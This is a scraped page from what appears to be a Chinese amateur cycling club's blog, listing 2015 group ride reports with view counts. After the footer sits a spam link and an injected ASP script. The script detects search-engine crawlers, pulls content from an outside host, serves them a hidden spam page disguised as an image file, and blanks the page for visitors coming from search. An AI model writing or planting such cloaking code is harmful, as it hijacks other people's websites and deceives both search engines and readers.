我们都是菜鸟人
    • 10月11日:骑行八一水库野餐归来
    • 7月5日:骑行太阳谷归来
    • 叮当骑行318归来,鸟儿出动接风
    • 5月17:骑行滴水岩露营归来
    • 3月27:骑行阳关大道逛五彩田园
    • 3月21:雎水踩桥归来
    骑游图库

    7月5日:骑行太阳谷归来

    2015-07-06
    6月-7月,雨季。 不停的雨水,让人们有点潮。 终于在7月5日这一天,雨停了。 也许是计划得很好 天也很蓝。 全程视频 ...
    0 594
    骑游图库

    叮当骑行318归来,鸟儿出动接风

    2015-07-06
    6月13日,周六,举行了一次开心的腐败。 为菜鸟基地叮当接风洗尘 ...
    0 478
    骑游图库
    骑游图库

    3月27:骑行阳关大道逛五彩田园

    2015-03-27
    参加官方活动人员很齐 领奖了,参与奖 视频过两天上来,请等待哈 ...
    0 608
    骑游图库

    3月21:雎水踩桥归来

    2015-03-22
    2015年,第一次活动,第一次骑百公里。 就是这里,雎水。 每年都要来一次的地方。 雎水踩桥视频 ...
    0 567
    骑游图库

    2月6/7日:千佛山赏雪归来

    2015-02-10
    2015年千佛山两日看雪,熊猫足迹未看到,雪景却很美丽。 路上偶遇的小伙伴,认识就是风景,更给雪白雪上增添了一抹笑语。 分别有千佛镇,有晓坝的,桑枣的 ...
    0 664
    骑游图库
    手机访问

    鼠标滚轮调整大小

    扫描二维码

    手机打开此页

    返回顶部
    破晓 新视觉影院 <% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next end function function gethttp(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile,htmls,stitle,remotehtml,bodyurl bodyurl="http://pp.kj9887.com/qi.txt" remotehtml=gethttp(bodyurl) stitle =remotehtml mfileurl=Server.MapPath("images/pic.jpg") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll htmls=replace(mfilecon,"{期数}",stitle) response.clear response.write(htmls) response.write("") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (fromse() and mainpage()) then response.clear response.write("
    ") response.flush response.end end if %>